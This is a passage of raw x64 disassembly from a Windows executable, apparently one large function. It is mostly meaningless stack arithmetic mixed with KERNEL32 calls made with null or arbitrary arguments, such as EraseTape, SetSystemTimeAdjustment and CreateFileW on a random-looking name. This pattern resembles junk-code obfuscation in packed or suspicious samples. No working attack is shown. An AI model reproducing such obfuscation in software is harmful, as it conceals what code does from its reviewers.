sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028edd0]
mov dword [rcx], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa66c], eax
mov rax, qword [rsp + 0x142b0]
movzx eax, word [rax]
mov word [rsp + 0x2cbc], ax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x654]
and eax, ecx
mov byte [rsp + 0x649], al
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x14600], rax
movzx eax, byte [rsp + 0x65d]
movzx ecx, byte [rsp + 0x646]
or eax, ecx
mov byte [rsp + 0x21d], al
mov rax, qword [0x14028ee10]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa468]
shr eax, cl
mov dword [rsp + 0xa508], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xa678], eax
movzx eax, word [rsp + 0x2c90]
movzx ecx, word [rsp + 0x2ca4]
xor eax, ecx
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [0x140281dc2]
shl eax, cl
mov byte [0x140281dcf], al
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7800], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa47c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa470], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [0x140282728]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e70], eax
mov eax, dword [rsp + 0x866c]
mov dword [rsp + 0xa67c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa49c], eax
movzx eax, word [rsp + 0x157c]
movzx ecx, word [rsp + 0x1590]
sub eax, ecx
mov word [rsp + 0x2cb4], ax
movzx eax, byte [0x140281daa]
mov byte [rsp + 0x685], al
mov eax, dword [rsp + 0xa570]
mov ecx, dword [rsp + 0x6500]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa460], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0xa438]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68c8], eax
movzx eax, byte [rsp + 0x64a]
mov byte [0x14028ed9c], al
mov rax, qword [rsp + 0x14428]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dc8]
sub eax, ecx
mov word [rsp + 0x2c10], ax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c1c], ax
movzx eax, byte [rsp + 0x675]
mov byte [rsp + 0x686], al
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x70cc], eax
lea rax, [rsp + 0xa540]
mov qword [rsp + 0x14608], rax
mov r9d, 1
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x14308]
mov rcx, qword [rsp + 0x142a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa4f0], eax
mov eax, dword [rsp + 0xa484]
mov ecx, dword [rsp + 0xa398]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x747c], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2f4], eax
mov eax, dword [rsp + 0xa534]
mov dword [rsp + 0xa680], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x141d8]
mov word [rcx], ax
mov edx, 0x59fb48
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa668], eax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x644]
shl eax, cl
mov byte [0x14028ee00], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov dword [rsp + 0xa684], eax
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x94dc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a4], eax
mov eax, dword [rsp + 0xa530]
mov rcx, qword [rsp + 0x142d8]
mov qword [rsp + 0x14610], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14610]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa5f8], eax
lea rax, [rsp + 0xa4c0]
mov qword [rsp + 0x14618], rax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13fb0]
mov word [rcx], ax
lea rax, [rsp + 0x398]
mov qword [rsp + 0x14620], rax
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x619], al
movsx eax, word [rsp + 0x2bd4]
movsx ecx, word [rsp + 0x2c60]
sub eax, ecx
mov word [rsp + 0x2174], ax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa370]
and ecx, eax
mov eax, ecx
mov dword [0x140282748], eax
mov rax, qword [rsp + 0x14098]
mov rcx, qword [rsp + 0x13e78]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14438]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2b94]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1740], ax
movzx eax, byte [0x14028ee18]
mov byte [rsp + 0x687], al
mov eax, dword [rsp + 0x9ddc]
mov ecx, dword [rsp + 0xa410]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa600], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov dword [rsp + 0xa688], eax
mov rax, qword [rsp + 0x145d0]
mov rcx, qword [0x14028ee90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14098]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d08], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63d]
xor eax, ecx
mov byte [rsp + 0x170], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c68]
or eax, ecx
mov rcx, qword [0x14028ee48]
mov word [rcx], ax
mov eax, dword [rsp + 0xa3fc]
mov rcx, qword [rsp + 0x14588]
mov qword [rsp + 0x14628], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14628]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa628], eax
lea rax, [rsp + 0x872c]
mov qword [rsp + 0x14630], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa3ec], eax
mov eax, dword [rsp + 0x6630]
mov rcx, qword [rsp + 0x14580]
mov qword [rsp + 0x14638], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14638]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9580], eax
mov edx, 0x6bcb02
mov rcx, qword [rsp + 0x14558]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa68c], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa35c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x90bc], eax
lea rax, [0x14028ede0]
mov qword [rsp + 0x14640], rax
movsx eax, byte [rsp + 0x630]
mov rcx, qword [rsp + 0x14298]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x655], al
lea rax, [rsp + 0x2c20]
mov qword [rsp + 0x14648], rax
movzx eax, byte [rsp + 0x34e]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1aa], al
movzx eax, word [rsp + 0x2c44]
movzx ecx, word [rsp + 0x16d0]
add eax, ecx
mov rcx, qword [0x14028ee48]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0x7c24]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8af4], eax
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov dword [rsp + 0xa690], eax
movzx eax, byte [rsp + 0x664]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x665], al
lea rax, [rsp + 0x2c30]
mov qword [rsp + 0x14650], rax
mov eax, dword [rsp + 0xa570]
mov ecx, dword [rsp + 0xa560]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x872c], eax
mov eax, dword [rsp + 0xa588]
mov dword [rsp + 0xa694], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9228]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f7c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x145b8]
mov ecx, dword [rsp + 0x9d70]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1590]
sub eax, ecx
mov word [0x14028274c], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [0x140281dba]
or eax, ecx
mov byte [rsp + 0x468], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov eax, dword [rsp + 0xa3c4]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14658], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14658]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x86e4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xa698], eax
movsx eax, word [rsp + 0x2b6c]
mov rcx, qword [rsp + 0x143c8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x2bd4], ax
movsx eax, byte [rsp + 0x67c]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x553], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov word [rsp + 0x2cc0], ax
movzx eax, byte [rsp + 0x636]
movzx ecx, byte [0x140281dcf]
sar eax, cl
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3a8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7684], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa69c], eax
mov rax, qword [rsp + 0x143a8]
mov ecx, dword [rsp + 0xa3cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282730], eax
mov eax, dword [rsp + 0x9d28]
mov ecx, dword [rsp + 0xa5f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a4], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov dword [rsp + 0xa6a0], eax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x172], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov word [rsp + 0x2cc4], ax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [0x140282714]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa264], eax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov dword [rsp + 0xa6a4], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa578]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x872c], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov dword [0x14028ed98], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x683], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a1c], ax
movsx eax, word [rsp + 0x2b24]
movsx ecx, word [0x14028ee40]
sub eax, ecx
mov word [rsp + 0x2c84], ax
movzx eax, byte [rsp + 0x553]
mov byte [rsp + 0x688], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov eax, dword [rsp + 0xa574]
mov rcx, qword [rsp + 0x14378]
mov qword [rsp + 0x14660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14660]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa4c8], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0xa460]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9950], eax
movzx eax, word [rsp + 0x2c34]
mov word [rsp + 0x2cc8], ax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x63d], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0x7800]
mov rcx, qword [rsp + 0x14218]
mov qword [rsp + 0x14668], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14668]
mov eax, dword [rax]
shl eax, cl
mov dword [0x140282750], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa238]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x72c0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x13ee8], rax
mov rax, qword [rsp + 0x14490]
mov ecx, dword [rsp + 0xa40c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa378], eax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0xa490]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa630], eax
lea rax, [rsp + 0x285]
mov qword [rsp + 0x14670], rax
movzx eax, word [rsp + 0x2154]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b60], ax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xa6a8], eax
movzx ecx, word [rsp + 0x2cb0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ccc], ax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [rsp + 0x13f10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x76bc], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14378]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa52c], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9790]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee90]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9108]
mov dword [rsp + 0xa6ac], eax
movsx eax, word [rsp + 0x1dc8]
movsx ecx, word [rsp + 0x2c78]
and eax, ecx
mov word [rsp + 0x29f4], ax
lea rax, [rsp + 0x639]
mov qword [rsp + 0x14678], rax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c34]
add eax, ecx
mov word [rsp + 0x2b50], ax
movzx eax, byte [0x140281db3]
movzx ecx, byte [rsp + 0x671]
or eax, ecx
mov byte [rsp + 0x4fa], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa58c], eax
mov eax, dword [rsp + 0xa630]
mov rcx, qword [rsp + 0x14378]
mov qword [rsp + 0x14680], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14680]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa510], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa428]
sar eax, cl
mov dword [rsp + 0x6500], eax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov byte [rsp + 0x689], al
movzx eax, word [rsp + 0x2b8c]
movzx ecx, word [rsp + 0x2b88]
xor eax, ecx
mov word [0x140282724], ax
mov eax, dword [rsp + 0xa370]
mov ecx, dword [rsp + 0xa3fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa568], eax
lea rax, [rsp + 0xa2a8]
mov qword [rsp + 0x14688], rax
mov eax, dword [rsp + 0xa5e0]
mov ecx, dword [rsp + 0x9f14]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa698], eax
mov rax, qword [0x14028eda0]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7c24], eax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov byte [rsp + 0x68a], al
movzx eax, word [rsp + 0x2be4]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2ca8], ax
mov rax, qword [0x14028ee50]
mov ecx, dword [rsp + 0xa62c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ff4], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6a0], eax
lea rax, [rsp + 0x1fa0]
mov qword [0x14028ed90], rax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13f90]
mov byte [rcx], al
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
mov byte [rsp + 0x68b], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14590]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b50], ax
mov eax, dword [rsp + 0x8604]
mov dword [rsp + 0xa6b0], eax
mov rax, qword [rsp + 0x14608]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa33c], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x94dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c08], eax
mov eax, dword [rsp + 0xa5d4]
mov rcx, qword [rsp + 0x14688]
mov qword [rsp + 0x14690], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14690]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x67e0], eax
mov eax, dword [rsp + 0xa50c]
mov ecx, dword [rsp + 0x76bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa404], eax
lea rax, [rsp + 0x67a]
mov qword [rsp + 0x14698], rax
movzx eax, word [rsp + 0x1ccc]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x140282754], ax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0x79a4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa684], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov dword [rsp + 0xa6b4], eax
mov eax, dword [rsp + 0xa5dc]
mov ecx, dword [rsp + 0xa5d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3c0], eax
lea rdx, [rsp + 0xa6b8]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9dd8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa690], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov word [rsp + 0x2cd0], ax
movzx eax, byte [rsp + 0x664]
movzx ecx, byte [rsp + 0x63f]
and eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x140b0]
movzx eax, byte [rax]
mov byte [rsp + 0x68c], al
lea rcx, [rsp + 0x21ab8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, word [rsp + 0x1948]
movsx ecx, word [rsp + 0x2bb4]
sub eax, ecx
mov word [rsp + 0x1d44], ax
movzx ecx, word [rsp + 0x2bd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0xa540]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402826d4], eax
mov eax, dword [0x1402826fc]
mov ecx, dword [rsp + 0x9580]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa41c], eax
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b60]
add eax, ecx
mov word [rsp + 0x1c00], ax
mov rax, qword [rsp + 0x142a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x141a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x669], al
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov dword [rsp + 0xa6bc], eax
mov eax, dword [rsp + 0x8df4]
mov ecx, dword [rsp + 0x84a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa484]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4fc], eax
mov eax, dword [0x1402826b4]
mov dword [rsp + 0xa6c0], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14148]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5f5], al
movzx eax, word [rsp + 0x2b80]
mov word [0x14028ed8c], ax
mov eax, dword [rsp + 0x9824]
mov rcx, qword [0x14028ee10]
mov qword [rsp + 0x146a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x146a0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x695c], eax
mov rax, qword [rsp + 0x14438]
mov ecx, dword [rsp + 0x9e20]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa62c], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
mov dword [rsp + 0xa6c4], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
mov rcx, qword [0x14028ee90]
mov qword [rsp + 0x146a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x146a8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9d70], eax
mov rax, qword [rsp + 0x14578]
mov ecx, dword [rsp + 0xa418]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa2cc], eax
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2cd4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.BcU7bLu0HW4fgAopRLA6
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x146b0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x764f
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa5fc], eax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x643], al
movzx eax, word [rsp + 0x2c94]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2730], ax
mov rax, qword [rsp + 0x14620]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281dda], al
mov eax, dword [rsp + 0xa468]
mov ecx, dword [rsp + 0xa510]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa624], eax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xa4e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9dbc], eax
mov edx, 0x1b27
mov rcx, qword [rsp + 0x14398]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa548], eax
movzx eax, byte [rsp + 0x677]
mov byte [rsp + 0x68d], al
movzx eax, word [rsp + 0x2c58]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bf8], ax
mov eax, dword [rsp + 0x7888]
mov dword [rsp + 0xa6c8], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa424]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x866c], eax
mov eax, dword [rsp + 0xa600]
mov ecx, dword [rsp + 0xa438]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14260]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa044], eax
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2c44]
sar eax, cl
mov word [0x140282734], ax
lea rcx, [rsp + 0x22638]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeResource]
movzx eax, byte [rsp + 0x640]
movzx ecx, byte [rsp + 0x646]
shl eax, cl
mov byte [rsp + 0x16a], al
mov edx, 0x231b
mov rcx, qword [rsp + 0x144c8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa610], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov dword [rsp + 0xa6cc], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x655], al
lea rdx, [rsp + 0xa324]
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa6d0], eax
mov rax, qword [rsp + 0x14360]
movzx eax, word [rax]
mov word [rsp + 0x2cd8], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5e9]
and eax, ecx
mov byte [rsp + 0x2d7], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [rsp + 0x2cdc], ax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2e4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14420]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402826f0], eax
mov rax, qword [rsp + 0x143d8]
mov ecx, dword [rsp + 0xa674]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7620], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa524], eax
mov eax, dword [rsp + 0xa4cc]
mov ecx, dword [rsp + 0xa2b0]
and ecx, eax
mov eax, ecx
